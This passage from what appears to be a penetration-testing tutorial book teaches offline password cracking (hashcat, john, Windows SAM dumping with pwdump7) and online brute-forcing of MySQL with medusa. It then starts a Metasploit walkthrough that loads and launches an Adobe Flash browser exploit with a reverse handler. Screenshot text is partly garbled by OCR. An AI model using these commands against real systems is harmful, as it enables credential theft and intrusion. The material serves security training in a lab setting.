Krista2009	
Krista2010	
Krista2011	
Krista2012	
Krista2013	
Krista2014	
Krista2015	
Krista2016	
Krista2017	



There is a very good chance that the target's password is among this custom made password list.

#### Hashcat

Combining the outputs from cewl, crunch, and cupp (the three C's) to create a custom list is an effective strategy in many cases, but what if none of these work and you need to brute force the password? This is where pure speed is critical.

Hashcat is among the fastest and most sophisticated password crackers. In addition, it enables us to use the GPU on our graphics card which is much faster than our CPU for password cracking.

Hashcat is a very powerful tool with a myriad of features. If you look at its help screen, it runs on for pages.

kali > hashcat -help



?   Charset	
===+==================================	
u   ABCDEFGHIJKLIMNOPQRSTUVWXYZ	
d   0123456789	
h   0123456789abcdef	
n   0123430789ABCUEr c   1##t%s()*+ _ /··c=>70[\]^ `/]}~	
a   ?!?u?d?s	
b   0x00 - 0xff	
- [ openic bevice types ] -	
#   Device Type	
3   FPGA, DSP, Co-Processor	
- [Workload Profiles ] -	
#   Performance   Runtime   Power Consumption   Desktop Impact	
1   Low   2 ms   Low   Minimal	
2   Default   12 ms   Economic   Noticeable	
3   High   96 ms   High   Unresponsive	
4   Nightmare   480 ms   Insane   Headless	
- [ Basic Examples ] -	
Attack-   Hash-	
Mode   Type   Example command ====================================	
Wordlist   \$P\$   hashcat -a 0 -m 400 example400.hash example <u>.dict</u>	
Wordlist + Rules   MD5   hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule	
Brute-Force   MD5   hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a	
Combinator   MD5   hashcat -a l -m 0 example0.hash example.dict example.dict	

In the final help screen, you can see the choice of character sets, the device type, the workload profiles, and finally, some examples.

To use hashcat to crack passwords, we will need:

- 1. The type of hash we are cracking;
- 2. The type of attack;
- 3. The output file for the cracked passwords;
- 4. The file containing our hashes;
- 5. The file containing our wordlist.

To then crack the password hashes from a Windows system, we could create a hashcat command as such:

kali > hashcat -m 0 -a o -o passwords hashlist.txt /root/top10000passwords

#### Where:

hashcat	is the command
-m 0	designates the type of hash we are attempting to crack (MD5 in this case)
-a 0	designates a dictionary attack
-o passwords	is the output file for the passwords

hashlist.txt is the input file of the hashes

/root/top10000passwords is the absolute path and file name of the wordlist

#### Windows Password Hashes

Earlier with john the ripper, we simply grabbed the passwords from our Kali system. If we have root access, that's not a problem. How would we do the same in Windows?

As I mentioned in the introduction, Windows stores its passwords at;

#### c:\Windows\System32\config\SAM.

Whenever a process requires the password that process accesses a DLL (dynamic linked library) that has system administrator privileges and accesses the protected SAM file. What if we could control that DLL and get access to the SAM file?

We can. The process is known as DLL injection. We take a new process and inject it into the process with access to SAM and then pull out the password hashes for cracking. There is a tool capable of doing this. It's called **pwdump**. You can download pwdump7 at <u>https://www.openwall.com/passwords/windows-pwdump</u>. Let's download and install it on our Windows 7 system and see whether we can extract the password hashes from there.

Move pwdump7 and its associated .dll file to directory you feel comfortable working from. I put it on my desktop, so c:\users\OTW\Desktop. Now open a command prompt (run cmd) on your Windows 7 system and run as administrator.

Navigate to the directory with your pwdump7 and simply execute it and redirect its output to a file such as password hashes;

C:\Users\OTW\Desktop pwdump7.exe > passwordhashes.txt



Now, open that file at the command line entering;

C:\User\OTW\Desktop\pwdump7.exe>type passwordhashes.txt

You should see the users and the password hashes.

Next, copy the file passwordhashes.txt to a flash drive.

C:\Users\OTW\Desktop>copy passwordhashes.txt d:\_\_\_\_

Then, attach the flash drive to the Kali system and copy the file to the Desktop of your Kali system. Now we are ready to crack these passwords with john or hashcat. Let's do it with john.

```
kali > john -format=LM --wordlist=/root/top1000passwords -rules
/root/Desktop/passwordhashes.txt
```

root@kali-2019:∽# john --format=LM --wordlist=/root/top1000passwords --rules /root/Desktop/passwordhashes.txt

Note that we are using the **format=LM**. This is informing john that the password hashes are in the LM (LanMan, this format was first developed by IBM in the 1980's) format.

#### **Remote Password Cracking**

Online password cracking on remote systems is whole different animal from offline password cracking. Although they both share a process of guessing the password or brute forcing it, on remote systems we likely will encounter lockouts. In other words, after so many failed attempts, the account will be locked. This limits how many attempts you can make. On some systems this lockout may come after just three attempts, on others it may come after thousands of attempts (in some cases, there are ways to bypass the lockout). The important point is that when cracking online passwords we often do not have unlimited attempts like we do with offline cracking.

Another key issue with online password cracking is that the username and password tests (guesses) must be sent in a format that the application expects them. Each application uses slightly different formats for their username and password requests. In some cases, we may need to capture and analyze that format in order to format our requests properly (see Chapter 12, Web Hacking).

In this section of Password Cracking, we will be using a lightweight, command-line password cracker named medusa. Medusa is built into our Kali, so no need to download or install anything. To view medusa's help screen, simply enter;

kali > medusa -h

Pootekal1-2019:-# meausa -n Medusa v2 2 [http://www.foofus.pet] (C) ]oMo-Kun / Foofus Networks <imk@foofus.pet></imk@foofus.pet>									
medusa: option requires an argument 'h'									
CRITICAL: Unknown error processing command-line options.									
ALERT: Host information must be supplied.									
Syntax: Medusa [-h host -H file] [-u username -U file] [-p password]-P file] [-C file] -M module [OPT]									
-h [TEXT] : Target hostname or IP address									
-H [FILE] : File containing target hostnames or IP addresses									
-u [TEXT] : Username to test									
-U [FILE] : File containing usernames to test									
-p [TEXT] : Password to test									
- P [FILE] : File containing passwords to test									
- C [FILE] : File containing combo entries. See README for more information.									
-o [rite] - rite to append tog information to a second [s] Password - Username)									
-M [FXT] : Name of the module to execute (without the mode extension)									
-m [TEXT] : Parameter to pass to the module. This can be passed multiple times with a									
different parameter each time and they will all be sent to the module (i.e.									
-m Param1 -m Param2, etc.)									
-d : Dump all known modules									
-n [NUM] : Use for non-default TCP port number									
-s : Enable SSL									
-g [NUM] : Give up after trying to connect for NUM seconds (default 3)									
-r [NUM] : Sleep NUM seconds between retry attempts (default 3)									
-r [NUM] . Attempt now retries before giving up, the total number of attempts with be now +1.									
-t [NuM] : Total number of logits to be tested concurrently									
-T [NUM] : Total number of hosts to be tested concurrently									
-L : Parallelize logins using one username per thread. The default is to process									
the entire username before proceeding.									
-f : Stop scanning host after first valid username/password found.									
-F : Stop audit after first valid username/password found on any host.									
-b : Suppress startup banner									
-q : Display module's usage information									
-v [NUM] · Front debug level [0 - 0 (more)]									
-V · Display version									
-Z [TEXT] : Resume scan based on map of previous scan									

As we can see above, medusa has numerous options, but we can reduce the medusa syntax to;

medusa -h <host IP> -u <username> -P <password file> -M <module>

The medusa modules enable it to present the username and password in a format acceptable to the application. To view the application modules in medusa, simply enter;

kali > medusa -d



As you can see, medusa has eighteen application modules.

Let's try using medusa to crack the root user's password on our MySQL database on our Windows 7 system.

To do so, we would create the following command;

kali > medusa -h 192.168.0.114 -u root -P /root/top10000passwords -M mysql

#### Where;

-h	192.168.0.114	is the I	P address of our Windows 7 system with MySQL
-u	root	is the u	ser we want to crack
-P	/root/top10000pass	words	is the path to our password list
-M	mysql		is the module we want to use

When we hit enter, medusa begins trying the passwords one-by-one against the MySQL login. It will continue these attempts until it successfully finds the correct password or comes to the end of the list. Be patient! Even with just 10,000 passwords, this process can take hours.

<mark>root@kali-2019</mark> Medusa v2.2 [h <sup>.</sup>	:~# medus ttp://www	sa -h 1 w.foofu	192.168.0.114 us.net] (C) Joh	∙u roo 1o-Kun	t - /	P /root/top1 Foofus Netwo	000pas rks <j< th=""><th>swords mk@foo</th><th>s -M m ofus.r</th><th>iysql iet&gt;</th><th></th><th></th><th></th><th></th></j<>	swords mk@foo	s -M m ofus.r	iysql iet>				
ACCOUNT CHECK:	[mysql]	Host:	192.168.0.114	(1 of	1,	0 complete)	User:	root	(1 01		0 complete)	Password:	123456 (1 of	1000 c
ACCOUNT CHECK:	[mysql]	Host:	192.168.0.114	(1 of	1,	0 complete)	User:	root	(1 01		0 complete)	Password:	123456789 (2	of 100
ACCOUNT CHECK:	[mysql]	Host:	192.168.0.114	(1 of	1,	0 complete)	User:	root	(1 01		0 complete)	Password:	111111 (3 of	1000 c
ACCOUNT CHECK:	[mysql]	Host:	192.168.0.114	(1 of	1,	0 complete)	User:	root	(1 01	1,	0 complete)	Password:	password (4 o	f 1000
ACCOUNT CHECK:	[mysql]	Host:	192.168.0.114	(1 of	1,	0 complete)	User:	root	(1 01	1,	0 complete)	Password:	qwerty (5 of	1000 d
ACCOUNT CHECK: mplete)	[mysql]	Host:	192.168.0.114	(1 of	1,	0 complete)	User:	root	(1 01	1,	0 complete)	Password:	abc123 (6 of	1000 0
ACCOUNT CHECK:	[mysql]	Host:	192.168.0.114	(1 of	1,	0 complete)	User:	root	(1 01		0 complete)	Password:	12345678 (7 o	f 1000
ACCOUNT CHECK:	[mysql]	Host:	192.168.0.114	(1 of	1,	0 complete)	User:	root	(1 01		0 complete)	Password:	passwordl (8	of 100
ACCOUNT CHECK:	[mysql]	Host:	192.168.0.114	(1 of	1,	0 complete)	User:	root	(1 01	1,	0 complete)	Password:	1234567 (9 of	1000
ACCOUNT CHECK:	[mysql]	Host:	192.168.0.114	(1 of	1,	0 complete)	User:	root	(1 01	1,	0 complete)	Password:	123123 (10 of	1000
ACCOUNT CHECK:	[mysql]	Host:	192.168.0.114	(1 of	1,	0 complete)	User:	root	(1 01	1,	0 complete)	Password:	1234567890 (1	1 of 1

#### Summary

Password cracking can often be the quickest and most effective way to take control of a target system. This is particularly true when the target is using a simple password. It's important to develop a **strategy** before embarking on password cracking as different operating systems and applications require different approaches. If all strategies fail, then the attacker is left with a brute force attack which can be very time-and resource-consuming.

If you have physical access to a running system or have already compromised the system, the mimikatz tool may be an option (mimikatz was used in the Blackenergy3, Wannacry and NotPetya attacks). This tool extracts the passwords from RAM on a running system. For more on using mimikatz, go to Chapter 11 on Post –Exploitation, or <a href="https://www.hackers-arise.com/single-post/2016/09/13/Mr-Robot-Hacks-How-Angela-Stole-Her-Bosss-Password-Using-mimikatz">https://www.hackers-arise.com/single-post/2016/09/13/Mr-Robot-Hacks-How-Angela-Stole-Her-Bosss-Password-Using-mimikatz</a>.

#### Exercises

- 1. Create five new accounts of increasing complexity in your Kali Linux, and then try cracking them with john the ripper.
- 2. Create custom password lists with crunch, cewl and cupp for yourself.
- 3. Extract the local user passwords hashes from your Windows 7 system.
- 4. Use medusa to crack the password on your MySQL application on your Windows 7 system.

# 9

# **Exploitation with Metasploit 5**

Every adversary--no matter how strong and powerful--has a weakness. Find the weakness and exploit it. Master OTW



Metasploit is the world's leading exploitation/hacker framework. It is used--to some extent--by nearly every hacker/pentester. As such, if you want to enter and prosper in this exciting field, you need to master it.

#### What is Metasploit?

Metasploit is a standardized framework for used primarily in offensive security or penetration testing (legal hacking to find vulnerabilities before the bad guys do). Before Metasploit, exploits and shellcode would be developed by various coders, in various languages, for various operating systems. The pentester had to rely upon the trustworthiness of the developer that the code wasn't laden with malware and learn how the developer intended the exploit/shellcode/tool to function. With the advent of Metasploit, the pentester has a standardized framework to work from where tools work similarly and all are written in the same language, making things much simpler and easier.

Originally developed by HD Moore as an open-source project, Rapid7 purchased Metasploit (Rapid7 also owns the vulnerability scanner, Nexpose). Although originally developed as an open-source project, Rapid7 has now developed a Pro version of Metasploit with a few more "bells and whistles" (bells and whistles can be good and save time and money). Fortunately, the open-source, community-edition of Metasploit is still available to the rest of us without the thousands of dollars to spend on the Pro version (if you are a professional pentester, the efficiency and time savings accrued by using the Pro version make it a good investment).

#### **Metasploit Interfaces**

Metasploit has multiple interfaces including;

- (1) msfconsole an interactive command-line like interface
- (2) msfcli a literal Linux command line interface
- (3) Armitage a GUI-based third party application
- (4) msfweb browser based interface

Undoubtedly, the most common way to use Metasploit is through Metasploit's interactive shell, **msfconsole**. In this chapter on Metasploit, we will be using the msfconsole.

In recent years, Metasploit has integrated additional tools to make it more than just an exploitation framework. Tools, such as <u>nmap</u>, Nessus and Nexpose, are now integrated into Metasploit, so that the entire process from port scanning, vulnerability scanning, exploitation, and post-exploitation, can all be done from one single tool. In addition, Metasploit has now integrated a <u>postgresql</u> (postresql is a popular enterprise-level, open-source database management system) database to store the data collected from your scans and exploits.

#### **Getting Started with Metasploit**

Before we start Metasploit, it's good idea to start the postgresql database in the background. This enables Metasploit to store data in the familiar relational database model. This enables easy and seamless access to your data. Metasploit will work **without** postgresql, but this database enables Metasploit to run faster searches and store the information you collect while scanning and exploiting.

kali > systemctl start postgesql



Now, it's time to start using Metasploit. You can either start it from the GUI **Applications-**>**Exploitation Tools -> msfconsole** 

Or you can start it by entering msfconsole from the terminal

kali > msfconsole

Within a few seconds, you will be greeted by the familiar--if sometimes offbeat--Metasploit splash screen (yours may appear different). If you have been using Metasploit 4, you will immediately notice the welcome speed improvement of Metasploit 5.



Note the command prompt msf5> (if you are using an older version of Metasploit, your command prompt will be msf > without the 5). That indicates that you are now inside Metasploit's interactive mode that they call msfconsole.

A word about terminology, before we start. In Metasploit terminology, an **exploit** is a module that takes advantage of a system or application vulnerability. It cracks open a door or window. The exploit then usually attempts to place a **payload (rootkit, listener)** on the target system. This payload can be a simple command shell or the all-powerful **Meterpreter**. In other environments these payloads might be termed **listeners or rootkits**. To a beginner, exploit and payload modules are the most important, but we will use auxiliary modules later in this chapter and post modules in Chapter 11 (Post-Exploitation).

Metasploit was designed with "modules." These modules are seven (7) types.

- (1) exploits
- (2) payloads
- (3) auxiliary
- (4) nops
- (5) post
- (6) encoders
- (7) evasion (new in Metasploit 5)

### Keywords

From this msfconsole, you can enter system commands (ifconfig, ping,etc.) as well as Metasploit's keywords. To view those keywords, enter help at the msf5> prompt;

msf5> help

mcf5 > holp	
<u>llisi s</u> netp	
Core Commands	
Command	Description
?	Help menu
banner	Display an awesome metasploit banner Change the surrent working directory
calor	
connect	Communicate with a host
exit	Exit the console
get	Gets the value of a context-specific variable
getg	Gets the value of a global variable
grep	Grep the output of another command
help	Help menu
history	Show command history
coad quit	Evit the console
reneat	Repeat a list of commands
route	Route traffic through a session
save	Saves the active datastores
sessions	Dump session listings and display information about sessions
set	Sets a context-specific variable to a value
setg	Sets a global variable to a value
sleep	Do nothing for the specified number of seconds
spool	Write console output into a file as well the screen
unload	View and manipulate background inreads
uncet	Unsets one or more context-specific variables
unseta	Unsets one or more global variables
version	Show the framework and console library version numbers
Marchallan Gamman da	
Module Commands	
Command	Description
advanced	Displays advanced options for one or more modules
back	Move back from the current context
into	Displays information about one or more modules
Loadpath	Searches for and loads modules from a path
options	Pons the latest module off the stack and makes it active
popili	Sets the previously loaded module as the current module
pushm	Pushes the active or list of modules onto the module stack
reload all	Reloads all modules from all defined module paths
search	Searches module names and descriptions
show	Displays modules of a given type, or all modules
use	Interact with a module by name or search term/index

Although Metasploit is a very powerful exploitation framework, just a **few keywords** can get you started hacking.

Let's take a look at some of those keyword commands.

The "use" command loads a module. So, for instance, if I wanted to load an exploit that took advantage of a specific vulnerability in Adobe Flash, I might "use"

the **exploit/windows/browser/adobe\_flash\_avm2** module (this is an exploit that takes advantage of one of the many vulnerabilities in the Adobe Flash plug-in).

To do load this module, I would enter;

msf5 > use exploit/windows/browser/adobe\_flash\_avm2

## msf5 > use exploit/windows/browser/adobe\_flash\_avm2 msf5 exploit(windows/browser/adobe\_flash\_avm2) >

As you can see above, when Metasploit successfully loads the module, it responds with the type of module (exploit) and the abbreviated module name in **red**.

msf5> show

After you load a module, the **show** command can be very useful to gather more information on the module. The three "show" commands I use most often are "**show options**," "**show payload**s," and "**show targets**."

Let's look at "show payloads" first.

```
msf5 > show payloads
```

mof	- 01	loit (vindeus (breusen (adebe flack aug.)) - shou pa	loode			
<u> 113 I .</u>	2 CN	stort(windows/browser/adobe_rtash_avm2) > show pay	coaus			
Comp	bati	ole Payloads				
====						
,	¥	Name	Disclosure Date	Rank	Check	Description
(	9	generic/custom		normal	No	Custom Payload
	L	generic/debug trap		normal	No	Generic x86 Debug Trap
1	2	generic/shell bind tcp		normal	No	Generic Command Shell, Bind TCP Inline
3	3	generic/shell_reverse_tcp		normal	No	Generic Command Shell, Reverse TCP Inline
4	1	generic/tight_loop		normal	No	Generic x86 Tight Loop
5	5	windows/dllinject/bind_hidden_ipknock_tcp		normal	No	Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
6	5	windows/dllinject/bind_hidden_tcp		normal	No	Reflective DLL Injection, Hidden Bind TCP Stager
	7	windows/dllinject/bind_ipv6_tcp		normal	No	Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
8	3	windows/dllinject/bind_ipv6_tcp_uuid		normal	No	Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
9	9	windows/dllinject/bind_named_pipe		normal	No	Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
	10	windows/dllinject/bind_nonx_tcp		normal	No	Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
	n	windows/dllinject/bind_tcp		normal	No	Reflective DLL Injection, Bind TCP Stager (Windows x86)
	12	windows/dllinject/bind_tcp_rc4		normal	No	Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
	13	windows/dllinject/bind_tcp_uuid		normal	No	Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
	14	windows/dllinject/reverse_hop_http		normal	No	Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
	15	windows/dllinject/reverse_http		normal	No	Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
	16	windows/dllinject/reverse_http_proxy_pstore		normal	No	Reflective DLL Injection, Reverse HTTP Stager Proxy
	17	windows/dllinject/reverse_ipv6_tcp		normal	No	Reflective DLL Injection, Reverse TCP Stager (IPv6)
	18	windows/dllinject/reverse_nonx_tcp		normal	No	Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
	19	windows/dllinject/reverse ord tcp		normal	No	Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)

This command, when used **after** selecting your exploit, will show you all the payloads that are compatible with the exploit you selected (not all payloads will work with every exploit. In this case, Metasploit shows you over 160 payloads that will work with this exploit). If you run this command **before** selecting an exploit, it will show you ALL payloads, a VERY long list (over 500).

As you see in the screenshot above, the show payloads command listed all the payloads that will work with this exploit.

msf5 > show options

This command is also very useful in running an exploit. It will display all of the options (variables) that need to set **before** running the module. These options include such things as IP addresses, URI path, the port number, etc.

Name	Current Setting	Required	Description
Retries	false	no	Allow the browser to retry the module
SRVHOST	0.0.0.0	yes	The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	ine URI to use for this exploit (default is random)
ploit tar	get:		

In most exploits, you will see the following options (variables).

**RHOSTS** - this is the remote host or target IP (RHOST in Metasploit 4) **LHOST** - this is the local host or attacker IP **RPORT** - this is the remote port or target port **LPORT** - this is the local port or attacker port

These can all be set by using the SET command followed by the variable name (RHOST, for instance) and then the value, such as;

```
msf5 > set RHOST 192.168.1.101
```

A less commonly used command is "**show targets**." Each exploit has a list of the targets it will work against. By using the "show targets" command, we can get a list of these. In this case, targeting is automatic, but some exploits have as many as 100 different targets, and success will often depend upon **you** selecting the correct one. These targets can be defined by the target operating system, service pack, language, among other factors.





msf5 > info

The **info** command is simple. When you type it **after** you have selected a module, it shows you key information about the module.



If you scroll down a bit, you can see more info including the options that need to be set, the amount of payload space a description of the module and references to learn more about the vulnerability it exploits. I usually run this command after selecting my exploit. It simply helps me understand the key features of an exploit before using it.



msf5 > set

This command is used to set options within the module you selected. For instance, if we look above at the **show options** command, we can see numerous options that must set, such as,

**URIPATH**, **SVRHOST**, and **SVRPORT**. We can set any of these variables with the set command such as;

msf5 > set SRVPORT 80

This changes the default SVRPORT (server port) from 8080 to 80.

msf5 > unset

This command, as you might expect, **unsets** the option that was previously set. Such as;

```
msf5 > unset SRVPORT
```

As you can see, we first set the SRVPORT variable to 80 and then unset it. It then reverted to the default value of 8080 that we can see when we typed show options again.

msf5 > exploit

Once we have loaded our exploit and set all the necessary options, the final action is "**exploit**." This sends the exploit to the target system and, if successful, installs the payload.

The exploit starts and is running as background job with a reverse handler on port 4444. This exploit then started a web server on host 0.0.0.0 on port 80 with a randomized URL (F5pmyl9gCHVGw90). We could have chosen a specific URL and **set** it by changing the URIPATH variable with the set command.

msf5 > back

We can use the back command to take us "back" one step in our process. So, if you decided that we did not want to use the adobe/flash/avm2 exploit, we could type "back" and it would remove the loaded exploit.

msf5 > exit

The exit command, as you would expect, exits us from the msfconsole and back into the BASH command shell.

Notice that in this case, it stops the webserver that we created in this exploit and returned us to the Kali command prompt in the BASH shell.

#### Strategy for Finding the Proper Module

As a newcomer to Metasploit, the "search" command might be the most useful. When Metasploit was small and new, it was relatively easy to find the right module you needed. Now, with over 3000 modules, finding just the right module can be time-consuming and problematic. Rapid7 added the search function starting with version 4, and it has become a time- and life-saver. For the novice hacker to be able to use Metasploit effectively, understanding the search function is crucial.

```
msf5 > search
```

Although you can use the search function to search for keywords in a module name, that approach is not always efficient as it will often return a VERY large result set.

To be more specific in your search, you can use the following syntax.

platform -	this is the operating system that this module is designed for
type -	this is the type of module. For instance, type:exploit
name or keyword -	the name of the module or keyword in its description

The syntax for using **search** is the keyword; followed by a colon; and then a value, such as;

```
msf5 > search type:exploit
```

For instance, if you were looking for a module to exploit (type) Abobe Flash (keyword) on Windows (platform) you could display all the exploit modules to do so by entering;

msf5 > search type:exploit platform:windows flash

msf5	> search type:exploit platform.windows flash				
<u>111313</u>	search cyperexprose practorm.windows reash				
Matc	ning Modules				
#	Name	Disclosure Date	Rank	Check	Description
-					
Θ	exploit/multi/browser/adobe_flash_hacking_team_uaf	2015-07-06	great	No	Adobe Flash Player ByteArray Use After Free
1	exploit/multi/browser/adobe_flash_nellymoser_bof	2015-06-23	great	No	Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow
2	exploit/multi/browser/adobe_flash_net_connection_confusion	2015-03-12	great	No	Adobe Flash Player NetConnection Type Confusion
3	exploit/multi/browser/adobe_flash_opaque_background_uaf	2015-07-06	great	No	Adobe Flash opaqueBackground Use After Free
4	exploit/multi/browser/adobe_flash_pixel_bender_bof	2014-04-28	great	No	Adobe Flash Player Shader Buffer Overflow
5	exploit/multi/browser/adobe_flash_shader_drawing_fill	2015-05-12	great	No	Adobe Flash Player Drawing Fill Shader Memory Corruption
6	exploit/multi/browser/adobe_flash_shader_job_overflow	2015-05-12	great	No	Adobe Flash Player ShaderJob Buffer Overflow
7	exploit/multi/browser/adobe_flash_uncompress_zlib_uaf	2014-04-28	great	No	Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free
8	exploit/windows/browser/adobe_flash_avm2	2014-02-05	normal	No	Adobe Flash Player Integer Underflow Remote Code Execution
9	exploit/windows/browser/adobe_flash_casi32_int_overflow	2014-10-14	great	No	Adobe Flash Player casi32 Integer Overflow
1	<pre>exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array</pre>	2014-09-23	great	No	Adobe Flash Player copyPixelsToByteArray Method Integer Overflow
1	<pre>exploit/windows/browser/adobe_flash_domain_memory_uaf</pre>	2014-04-14	great	No	Adobe Flash Player domainMemory ByteArray Use After Free
1	<pre>exploit/windows/browser/adobe_flash_filters_type_confusion</pre>	2013-12-10	normal	No	Adobe Flash Player Type Confusion Remote Code Execution
1	<pre>s exploit/windows/browser/adobe_flash_mp4_cprt</pre>	2012-02-15	normal	No	Adobe Flash Player MP4 'cprt' Overflow
1	<pre>exploit/windows/browser/adobe_flash_otf_font</pre>	2012-08-09	normal	No	Adobe Flash Player 11.3 Kern Table Parsing Integer Overflow
1	o exploit/windows/browser/adobe_flash_pcre	2014-11-25	normal	No	Adobe Flash Player PCRE Regex Vulnerability
1	<pre>b exploit/windows/browser/adobe_flash_regex_value</pre>	2013-02-08	normal	No	Adobe Flash Player Regular Expression Heap Overflow
1	exploit/windows/browser/adobe_flash_rtmp	2012-05-04	normal	No	Adobe Flash Player Object Type Confusion
1	<pre>s exploit/windows/browser/adobe_flash_sps</pre>	2011-08-09	normal	No	Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow
1	exploit/windows/browser/adobe_flash_uncompress_zlib_uninitialized	2014-11-11	good	No	Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory
2	exploit/windows/browser/adobe_flash_worker_byte_array_uaf	2015-02-02	great	No	Adobe Flash Player ByteArray With Workers Use After Free
2	<pre>exploit/windows/browser/adobe_flashplayer_arrayindexing</pre>	2012-06-21	great	No	Adobe Flash Player AVM Verification Logic Array Indexing Code Execution
2	exploit/windows/browser/adobe_flashplayer_avm	2011-03-15	good	No	Adobe Flash Player AVM Bytecode Verification Vulnerability
2	3 exploit/windows/browser/adobe_flashplayer_flash100	2011-04-11	normal	No	Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability
2	exploit/windows/browser/adobe_flashplayer_newfunction	2010-06-04	normal	No	Adobe Flash Player "newfunction" Invalid Pointer Use
2	<pre>6 exploit/windows/browser/ms14_012_cmarkup_uaf</pre>	2014-02-13	normal	No	MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free
2	6 exploit/windows/fileformat/adobe_flashplayer_button	2010-10-28	normal	No	Adobe Flash Player "Button" Remote Code Execution
2	<pre>v exploit/windows/fileformat/adobe_flashplayer_newfunction</pre>	2010-06-04	normal	No	Adobe Flash Player "newfunction" Invalid Pointer Use
2	<pre>8 exploit/windows/fileformat/office_ole_multiple_dll_hijack</pre>	2015-12-08	normal	No	Office OLE Multiple DLL Side Loading Vulnerabilities
2	exploit/windows/http/netgear_nms_rce	2016-02-04	excellent	Yes	NETGEAR ProSafe Network Management System 300 Arbitrary File Upload
3	<pre>exploit/windows/http/oracle_btm_writetofile</pre>	2012-08-07	excellent	No	Oracle Business Transaction Management FlashTunnelService Remote Code E
xecu	rion				

As you can see above, Metasploit searched its database for modules that are **exploits** for the **Windows** platform and included the keyword "**flash**" and found and displayed all 30.

Although this is less than an exhaustive list of Metasploit commands, with just these commands, you should be able to execute most of the functions in Metasploit. When you need another command in this course, I will take a few minutes to introduce it, but these are all you will likely need, for now.

#### **Metasploit Directory Structure**

When I first started with Metasploit, I found it to be rather opaque and difficult to decipher. It seemed like a black box. Only when I became familiar with the directory structure behind the interactive interface (msfconsole), did I begin to look inside the black box and suddenly a light went on! I will try to shine that same light here in the hope that it will help you better understand Metasploit.

Let's begin to look inside Metasploit by opening terminal and navigating to the /usr/share/metasploit-framework directory.

kali > cd /usr/share/metasploit-framework

kali > ls -l

<pre>root@kali-2019:/# cd /usr/share/metasploit-framework</pre>										
root@kali-2	2019	:/usi	r/shai	re/meta	asplo	oit.	-frame	work# ls -l		
total 148										
drwxr-xr-x	4	root	root	4096	Jun	19	15:13	app		
drwxr-xr-x	3	root	root	4096	Jul	11	09:31	config		
drwxr-xr-x	22	root	root	4096	Jul	11	09:31	data		
drwxr-xr-x	3	root	root	4096	Jul	11	09:31	db		
lrwxrwxrwx	1	root	root	27	Jun	19	15:15	<pre>documentation -&gt;/doc/metasploit-fr</pre>		
amework										
-rwxr-xr-x	1	root	root	1235	Jul	2	15:55	Gemfile		
- rw-rr	1	root	root	10153	Jul	5	03:18	Gemfile.lock		
drwxr-xr-x	15	root	root	4096	Jul	11	09:31	lib		
-rw-rr	1	root	root	8844	Jul	5	03:18	metasploit-framework.gemspec		
drwxr-xr-x	9	root	root	4096	Jun	19	15:14	modules		
-rwxr-xr-x	1	root	root	1263	Jul	5	03:18	msfconsole		
-rwxr-xr-x	1	root	root	2813	Jul	5	03:18	msfd		
-rwxr-xr-x	1	root	root	5326	Jul	5	03:18	msfdb		
- rw-rr	1	root	root	635	Jul	5	03:18	msf-json-rpc.ru		
-rwxr-xr-x	1	root	root	2229	Jul	5	03:18	msfrpc		
-rwxr-xr-x	1	root	root	9677	Jul	5	03:18	msfrpcd		
-rwxr-xr-x	1	root	root	166	Jul	5	03:18	msfupdate		
-rwxr-xr-x	1	root	root	13069	Jul	5	03:18	msfvenom		
-rw-rr	1	root	root	551	Jul	5	03:18	msf-ws.ru		
drwxr-xr-x	2	root	root	4096	Jul	11	09:31	plugins		
-rwxr-xr-x	1	root	root	1299	Jul	2	15:55	Rakefile		
-rwxr-xr-x	1	root	root	876	Jul	5	03:18	ruby		
-rwxr-xr-x	1	root	root	140	Jul	5	03:18	script-exploit		
-rwxr-xr-x	1	root	root	141	Jul	5	03:18	script-password		
-rwxr-xr-x	1	root	root	138	Jul	5	03:18	script-recon		
drwxr-xr-x	6	root	root	4096	Jun	19	15:14	scripts		
drwxr-xr-x	11	root	root	4096	Jun	19	15:14	tools		
drwxr-xr-x	3	root	root	4096	Jun	19	15:14	vendor		
root@kali-2	<pre>root@kali-2019:/usr/share/metasploit-framework#</pre>									

Now, change directories to modules directory.

kali > cd modules

```
root@kali-2019:/usr/share/metasploit-framework# cd modules
root@kali-2019:/usr/share/metasploit-framework/modules# ls -l
total 28
drwxr-xr-x 22 root root 4096 Jul 11 09:31 auxiliary
drwxr-xr-x 12 root root 4096 Jun 19 15:14 encoders
drwxr-xr-x 3 root root 4096 Jun 19 15:14 evasion
drwxr-xr-x 21 root root 4096 Jul 11 09:31 exploits
drwxr-xr-x 11 root root 4096 Jul 11 09:31 exploits
drwxr-xr-x 5 root root 4096 Jun 19 15:14 nops
drwxr-xr-x 14 root root 4096 Jun 19 15:14 post
root@kali-2019:/usr/share/metasploit-framework/modules#
```

As you can see, within the modules are the seven types of modules we saw earlier. We can delve even deeper by changing directories to the exploits subdirectory and next the windows subdirectory.

kali > cd exploits

kali > ls -l

root@kali-2	201	:/usi	r/sha	re/mei	taspl	loi	t-frame	ework/modules# cd exploits
root@kali-2	201	:/usi	r/sha	re/met	taspl	loi	t-frame	ework/modules/exploits# ls -l
total 80								
drwxr-xr-x	3	root	root	4096	Jul	11	09:31	aix
drwxr-xr-x	6	root	root	4096	Jun	19	15:14	android
drwxr-xr-x	5	root	root	4096	Jun	19	15:14	apple_ios
